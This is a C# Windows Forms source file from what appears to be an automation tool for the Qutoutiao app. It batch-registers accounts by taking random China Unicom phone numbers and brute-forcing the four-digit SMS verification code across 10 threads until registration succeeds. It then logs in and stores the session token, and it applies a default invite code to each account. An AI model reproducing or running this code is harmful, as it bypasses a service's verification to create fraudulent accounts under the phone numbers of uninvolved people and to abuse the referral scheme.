﻿using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using QuTouTiaoAssist.Entity;
using QuTouTiaoAssist.Util;

namespace QuTouTiaoAssist
{
    public partial class FrmBatchReg : FrmListViewBase
    {
        private string smsCaptchaCracked = null;
        private int usedNum = 0;
        private bool isCracking = false;

        public FrmBatchReg()
        {
            InitializeComponent();
        }

        private void btnRefresh_Click(object sender, EventArgs e)
        {
            if (isCracking)
                return;

            var frm = new FrmInputInterval2<BatchRegInfo>();
            frm.Object.Count = 1;
            frm.Object.DefaultPwd = ConfigUtil.GetDefaultPassword();
            frm.Object.DefaultInviteCode = ConfigUtil.GetDefaultInviteCode();
            frm.Object.Interval = 10*1000;
            if (frm.ShowDialog() != DialogResult.OK)
                return;

            isCracking = true;
            var regInfo = frm.Object;
            ConfigUtil.SetDefaultPassword(regInfo.DefaultPwd);
            ConfigUtil.SetDefaultInviteCode(regInfo.DefaultInviteCode);

            // 初始化ListView
            for (int i = 0; i < regInfo.Count; i++)
            {
                base.AppendListViewItem(this.listView1, new object[]
                {
                    i+1, "未知", "未启动"
                });
            }

            new Thread(() =>
            {
                for (int i = 0; i < regInfo.Count; i++)
                {
                    DoCrack(regInfo, i);

                    Thread.Sleep(regInfo.Interval);
                }
                isCracking = false;
                MsgBox.ShowInfo("完成！");
            }){IsBackground = true}.Start();
        }

        private void DoCrack(BatchRegInfo regInfo, int rowIndex)
        {
            /*
             * 1、获取随机手机号
             * 2、获取图片验证码
             * 3、开始爆破注册
             */

            Interlocked.Exchange(ref usedNum, 0);
            this.smsCaptchaCracked = null;
            try
            {
                // 获取手机号
                base.SetListViewSubItemText(this.listView1, rowIndex, 2, "正在获取手机号");
                var mobiles = ChinaUnicomUtil.GetMobiles();
                var mobile = mobiles[new Random((int)DateTime.Now.Ticks).Next(0,mobiles.Count-1)];

                base.SetListViewSubItemText(this.listView1, rowIndex, 1, mobile);

                #region 获取图片验证码
                base.SetListViewSubItemText(this.listView1, rowIndex, 2, "正在获取验证码");
                var frm = new FrmImageVerifyCode();
                frm.RefreshImage += (o, args) =>
                {
                    args.Img = QttHelper.GetImgCaptcha(mobile);
                };
                frm.ConfirmVerifyCode += () =>
                {
                    var result = QttHelper.GetSmsCaptcha(mobile, frm.VerifyCode);
                    if (result.Code == 0)
                    {
                        return true; // 验证码已经发送到您的手机
                    }
                    else
                    {
                        MsgBox.ShowInfo("错误，" + result.Message);
                        return false;
                    }
                };
                if (frm.ShowDialog() != DialogResult.OK)
                {
                    base.SetListViewSubItemText(this.listView1, rowIndex, 2, "用户取消");
                } 
                #endregion

                // 爆破注册
                base.SetListViewSubItemText(this.listView1, rowIndex, 2, "爆破中");
                var threadNum = 10;
                var numPerThread = 1000;
                var interval = 0;
                var argsList = new List<ThreadPara1>();
                for (int i = 0; i < threadNum; i++)
                {
                    var args = new ThreadPara1();
                    args.Start = i * numPerThread;
                    args.Length = (i + 1) * numPerThread > 10000 ? 10000 - (threadNum - 1) * numPerThread : numPerThread;
                    args.Interval = interval;
                    args.Mobile = mobile;
                    args.Password = regInfo.DefaultPwd;
                    args.InviteCode = regInfo.DefaultInviteCode;
                    argsList.Add(args);

                    new Thread(DoRegCrack) { IsBackground = true, Name = i.ToString() }.Start(args);
                }

                // 检测是否已经注册成功
                while (true)
                {
                    base.SetListViewSubItemText(this.listView1, rowIndex, 2, "爆破中（" + this.usedNum + "）");
                    if (usedNum == 10000 || smsCaptchaCracked != null)
                    {
                        break;
                    }
                    Thread.Sleep(1000);
                }
                if (smsCaptchaCracked != null)
                {
                    try
                    {
                        QttHelper.RefreshDeviceCode();
                        var loginResult = QttHelper.Login(mobile, regInfo.DefaultPwd);
                        if (loginResult.Code == 0)
                        {
                            ConfigUtil.SaveUserInfo("",
                                                    loginResult.Data.Token,
                                                    "",
                                                    loginResult.Data.MemberId,
                                                    "");
                            base.SetListViewSubItemText(this.listView1, rowIndex, 2, "注册成功并登录！");
                        }
                        else
                        {
                            throw new Exception(loginResult.Message);
                        }
                    }
                    catch (Exception ex)
                    {
                        GlobalContext.NewRegisterMobilePwdCache[mobile] = regInfo.DefaultPwd;
                        base.SetListViewSubItemText(this.listView1, rowIndex, 2, "注册成功，但登录失败，" + ex.Message + "！");
                    }
                }
                else
                {
                    base.SetListViewSubItemText(this.listView1, rowIndex, 2, "注册失败，没有找到短信验证码！");
                }
            }
            catch (Exception ex)
            {
                base.SetListViewSubItemText(this.listView1, rowIndex, 2, "发生错误，" + ex.Message);
            }
        }

        /// <summary>
        /// 爆破注册线程函数
        /// </summary>
        /// <param name="obj"></param>
        private void DoRegCrack(object obj)
        {
            var args = obj as ThreadPara1;
            for (int i = args.Start; i < args.Start + args.Length; i++)
            {
                try
                {
                    var captach = i.ToString().PadLeft(4, '0');
                    var regResult = QttHelper.Register(args.Mobile, args.Password, captach, args.InviteCode);
                    if (regResult.Contains("成功"))
                    {
                        smsCaptchaCracked = captach;
                        Log.Write(string.Format("{0}手机号检测到验证码：{1}，设备号：{2}", 
                            args.Mobile, captach, QttHelper.GetDeviceCode()));
                        break;
                    }
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                }
                Interlocked.Increment(ref usedNum);
                Thread.Sleep(args.Interval);
            }
        }
    }
}
